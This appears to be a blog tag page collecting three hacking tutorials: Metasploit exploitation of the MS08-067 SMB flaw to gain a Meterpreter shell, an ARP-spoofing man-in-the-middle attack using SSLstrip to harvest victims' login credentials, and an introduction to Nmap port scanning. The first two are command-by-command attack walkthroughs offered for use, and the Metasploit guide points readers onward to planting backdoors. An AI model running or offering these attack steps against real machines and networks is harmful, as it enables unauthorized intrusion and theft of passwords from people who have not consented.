Tag: hacking

  • An Introduction To The Metasploit Framework

    What is the Metasploit Framework?
    The Metasploit Framework is an incredible tool for pen-testers and hackers. Used globally by even the most professional of penetration testers, Metasploit presents the user with a large number of exploits, payloads and auxiliary modules which can all be used to test anything from the common household machine to complex servers in an office block. Whatever your reason is for using the Metasploit framework, you should rest assured that it will be one of the best tools in your arsenal.Starting up Metasploit
    Now, without further ado, let’s get down to business. I usually start by firing up Metasploit in a terminal, using the msfconsole version. Metasploit has a few different versions, including a more graphically based one. They all have their purposes, but I much prefer msfconsole just because it’s all command line based, and it’s very powerful. To start msfconsole, open up your terminal and type;

    Code:
    msfconsole

    Hit enter, and let it do it’s thing. If you’ve just updated or it’s your first time running the tool then it might take a little while to get started.

    Updating the Metasploit Framework
    Before we get started, you’ll probably need to update a few things. Run the command “msfupdate”. Inside each update, you will find new exploits, various patches, improvements, new payloads – basically everything you can think of. It’s a very well maintained piece of kit! I usually update the whole system before doing anything major anyway, just in case there’s been a significant update in one of my packages. Once you start updating, it will look something like this…

    Building Information on the Target using Nmap
    Before we run in all-guns-blazing and cause a big mess, we need to build up some information on our target. The basic things which we will need to determine are as follows;

    Target’s IP address (this will be internal for the sake of this guide)
    Which ports are open
    Which service is running on each port
    The operating system of the target machine

    As you go deeper into the world of pen-testing, you may find that you need more information on the subject. In fact, I recommend that you find out as much as you possibly can before starting a pen-test, using various information gathering techniques. I won’t go into detail here but I might write something on it in another article.

    Open up a new terminal. We’re going to be using Nmap to identify the IP address of the target machine on the network by running a ping-scan. This doesn’t test any ports, it just pings machines to see if they exist or not.

    Code:
    nmap -sP 192.168.0.1/24

    Running this command should return the IP addresses of machines on your network. Obviously you may need to switch your IP address up a little bit if it’s different to mine.

    So, I’ve picked the machine I want to attack. In my case, it’s the Intel machine using the internal IP address of 192.168.0.6. Now, let’s get some more in depth information about this particular machine by running a port scan on it. I’m not going to bother with any real stealth on this scan seeing as it’s on my own network and I’m not trying to avoid detection. Therefore, I’ll only be using the -sS, -vv and -A flags for scanning. For a full list of nmap flags, check out the Nmap website. Run the command;

    Code:
    nmap -sS -A -vv 192.168.0.6

    This kicks out a shit load of information onto my screen (thanks to the -vv flag, which makes the scan output “very verbose”). The main thing I’m looking at are the open ports on the machine.

    PORT STATE SERVICE VERSION
    135/tcp open msrpc Microsoft Windows RPC
    139/tcp open netbios-ssn
    445/tcp open microsoft-ds Microsoft Windows XP microsoft-ds
    2869/tcp open http Microsoft HTTPAPI httpd 1.0 (SSDP/UPnP)

    The bolded one is the one which I am going to try and exploit using the Metasploit framework. Unfortunately, I’m not going to do all the hard work for you. You need to get your Google hat on and start searching around for exploits for the services which came up in your nmap scan! Once you’ve found one, you might find that it’s already a part of the Metasploit Framework and you can search for it using the “search” function.

    How to use Metasploit to Exploit a Computer
    Please note that I’m using old screenshots in this section as my laptop died. Everything is exactly the same, including the port/service and IP address used! Just don’t mind the old-school Backtrack design.

    So, we’ve got our IP address, our open ports, the services running on each port, and we’ve determined which service we’re going to exploit. Now we can get down to the fun part – exploiting and gaining access to the machine! Switch back to your msfconsole window and you should find that everything is loaded and ready to go. We’re going to do things in the following order;

    1. Search for and use an exploit
    2. Set the payload
    3. Set options
    4. Run the exploit

    1. To search for an exploit, type the word “search” followed by the keyword you wish to search for. For example, I’m looking for the ms08_067_netapi exploit, so I type the following into the search;

    Code:
    search ms08_067

    If you want to instead display every single exploit available in the Metasploit Framework, type “show exploits” into the console. Once you have found your exploit, you will need to “use” it so that Metasploit knows that it’s the one you want. To do this, type the following, replacing my exploit with your chosen one;

    Code:
    use exploit/windows/smb/ms08_067_netapi

    2. Next, you are going to need to set the payload which you will be using. A payload is something which runs after the exploit has been run, and can do many different things. For example, you may want to get a shell on the victim, in which case you’d choose one of the shell payloads. However, in this example I will be using a Meterpreter payload. Meterpreter is a very fun tool and I think you’ll enjoy it the most out of them all.

    To show all the payloads available, simply type in the following;

    Code:
    show payloads

    Or you can search for a specific one like I did, by typing;

    Code:
    search payloads meterpreter

    To set your payload, type the following into the console, replacing my payload with one of your choice;

    Code:
    set PAYLOAD windows/meterpreter/bind_tcp

    3. Once your payload is set, we need to quickly set a few options up. Type the following into your console to get the options up;

    Code:
    show options

    In my case, all I need to do is set the RHOST which is the IP address of the target machine. It’s already chosen the correct port for me.

    4.Finally, we’re ready to run the exploit! It’s as simple as typing…

    Code:
    exploit

    Now, you’ll see the exploit getting to work!

    I’ve popped open a Meterpreter session, as you can see in the screenshot. This allows me to do a shit load of stuff, which you can read about in the Metasploit Unleashed guide. For the purpose of the guide, I popped open a shell on the other computer after migrating to a different process. This shows the power of the Metasploit Framework and Meterpreter!

    So, what next?
    This guide was designed to push you in the right direction, as I really wanted something like this to read when I was first learning about MSF. Next, you should read about maintaining access to the computer with a backdoor, and other things. I totally recommend reading up on a few things though, so check out these links for more information.

    Metasploit Unleashed
    Nmap Reference Guide

    Discuss http://www.totse.info/bbs/showthread.php/17651-An-Introduction-To-The-Metasploit-Framework

  • How to Perform a Man In The Middle Attack Using Arpspoof and SSLstrip

    SSLstrip, is a tool which you can use when you’re performing MITM (Man In The Middle) attacks. It’s very fun to use and can often produce some very interesting results, especially when combined with other tools such as Driftnet, MSGsnarf or URLsnarf! These particular tools can uncover things such as URL’s which the victim is clicking on, images from the website which the victim is currently surfing (which you can actually save onto your own PC) and even real-time chats on Instant Messaging software like IRC. SSLstrip allows you to capture login information such as usernames and passwords.

    For this guide, you will need a computer with arpspoof and SSLstrip installed, as well as nmap for finding your target’s IP address. I recommend downloading Backtrack as it comes with all these tools out of the box.

    How to Enable IP Forwarding

    Enabling IP forwarding allows packets to pass through your machine. You need this to happen so that you can get in the middle of the victim’s machine and the router, hence the name “Man in the Middle”. To enable IP forwarding, type this into a terminal;

    echo 1 > /proc/sys/net/ipv4/ip_forward

    How to Configure your IPtables for ARP Spoofing

    Get your terminal up on the screen and type in the following;

    iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080

    As you can probably tell, this will to forward outgoing traffic on port 80 from the victim’s machine to your machine, which is going to be running SSLstrip on port 8080.

    Finding Your Target’s IP address

    Open a terminal and do a ping scan of the network, by issuing a command such as;

    nmap -sP 192.168.0.1-255

    Find the machine which you want to do a MITM attack on and copy down it’s IP address somewhere. That’s all we need to do for this step, so move on!

    How to use Arpspoof

    Arpspoof Screenshot Backtrack Linux

    Arpspoofing allows you to redirect packets from the victim’s computer, straight to your machine. You then pass the packets along to the router as normal, meaning that the victim won’t even know it’s happening. After you capture traffic, SSLstrip will modify it before IPtables sends it away again. Fire up a new terminal and type in the following;

    arpspoof -i wlan0 -t 192.168.0.5 192.168.0.1

    The -i flag determines the interface used, and the -t flag is your target IP address. The second IP address is that of the router. Once you hit enter, you should start to see incoming traffic traffic from the victim, which is then forwarded to the router.

    How to use SSLstrip to Capture Login Credentials

    Open another terminal. Navigate to /pentest/web/sslstrip and run SSLstrip by typing the following command;

    python ./sslstrip.py -k -l 8080 -w /root/Desktop/sslstrip.log

    This will start SSLstrip, listening on port 8080. The -w flag allows you to write your results to a file. The -k flag also kills all current sessions, forcing the client to log into websites again. Feel free to remove this flag if that’s not something you want to do.

    If you open another terminal window/tab and type “tail -F /root/Desktop/sslstrip.log” then you will get real-time updates as the log file is written to. When a user logs into a website, their login credentials will be displayed in the file, like this!

    Re-ARPing

    Hit CTRL+C to kill your ARP spoofing, your SSLstrip and anything else you’ve got going on. This has a very high chance of putting the whole network offline for a second, which is the only downside to ARP spoofing. However, it shouldn’t be a problem as everything will right itself quickly!

    Enjoy.

  • Basic Port Scanning With Nmap

    Basic Port Scanning With Nmap

     

     

    What is Nmap all about?

    Taken from the Nmap website… (I bolded the best bits)

     

    Quote:
    Nmap (“Network Mapper”) is a free and open source (license) utility for network exploration or security auditing. Many systems and network administrators also find it useful for tasks such as network inventory, managing service upgrade schedules, and monitoring host or service uptime. Nmap uses raw IP packets in novel ways to determine what hosts are available on the network, what services (application name and version) those hosts are offering, what operating systems (and OS versions) they are running, what type of packet filters/firewalls are in use, and dozens of other characteristics. It was designed to rapidly scan large networks, but works fine against single hosts. Nmap runs on all major computer operating systems, and official binary packages are avalable for Linux, Windows, and Mac OS X. In addition to the classic command-line Nmap executable, the Nmap suite includes an advanced GUI and results viewer (Zenmap), a flexible data transfer, redirection, and debugging tool (Ncat), and a utility for comparing scan results (Ndiff).

    What will this guide show me?

    I aim to give you a basic insight into how you can use Nmap through it’s command line interface to scan networks and individual hosts. I will also show you some different scan techniques, and provide a list of some ports and the services which run on them.

    Installing Nmap

    1. Visit the Nmap website – http://nmap.org/download.html
    2. Choose your OS, and follow the instructions.
    3. Keep in mind that I am writing this guide using Linux and a command line to run Nmap. If you’re on Windows, you’ll probably have the GUI version. While this looks different, you can use the same commands and it does the same thing.

    Obtaining a list of hosts through a ping scan

    If you’re on your own network, you should already know which devices are connected. To find the IP addresses of these, I usually run the following scan…

    nmap -sP 192.168.0.0-255

    This will pingscan the network between hosts 192.168.0.0 all the way up to 192.168.0.255. Once the scan is complete, you should see a result like this…

    Nmap Ping Scan

    Port Scanning a Host

    Once you have found the host you wish to scan, you can go ahead and scan it. Before scanning, you may wish to take a look at the list of scanning techniques on the Nmap website. These can be used to add extra functionality to your scans giving them more detailed results.

    The simplest port scan you could run would be as follows…

    • nmap 192.168.0.1 (replace IP address with your host of choice).

    In my case, this would be my router being scanned although I could have scanned any device on the network. It displays this output once I have scanned it…

    Nmap Port Scan Ubuntu

    From this screen, we can tell which ports are open or closed. In this case, my HTTP port (80) is open because I am running a webserver. However, this open port could be seen as a vulnerable hole in the firewall – something which could be used as a way into a system and a way of gaining a shell/complete access to a computer system.

    List of common TCP ports

    When port scanning (either from an attacking or defensive point of view), you’re looking for open ports and services which could be exploited in some way. Below is a list of the most commonly found TCP ports, and the services which run on them.

    20 FTP data (File Transfer Protocol)
    21 FTP (File Transfer Protocol)
    22 SSH (Secure Shell)
    23 Telnet
    25 SMTP (Send Mail Transfer Protocol)
    43 whois
    53 DNS (Domain Name Service)
    68 DHCP (Dynamic Host Control Protocol)
    79 Finger
    80 HTTP (HyperText Transfer Protocol)
    110 POP3 (Post Office Protocol, version 3)
    115 SFTP (Secure File Transfer Protocol)
    119 NNTP (Network New Transfer Protocol)
    123 NTP (Network Time Protocol)
    137 NetBIOS-ns
    138 NetBIOS-dgm
    139 NetBIOS
    143 IMAP (Internet Message Access Protocol)
    161 SNMP (Simple Network Management Protocol)
    194 IRC (Internet Relay Chat)
    220 IMAP3 (Internet Message Access Protocol 3)
    389 LDAP (Lightweight Directory Access Protocol)
    443 SSL (Secure Socket Layer)
    445 SMB (NetBIOS over TCP)
    666 Doom
    993 SIMAP (Secure Internet Message Access Protocol)
    995 SPOP (Secure Post Office Protocol)

    Summary

    This guide hasn’t been particularly in depth – I realize that. I have however, given you a slight nudge in the right direction with port scanning, and how you can do it. To understand it more, you should take the time to read some tutorials and guides on the subject. Here are some useful links.

    Nmap
    Backtrack Forums
    List of Nmap Commands
    Irongeek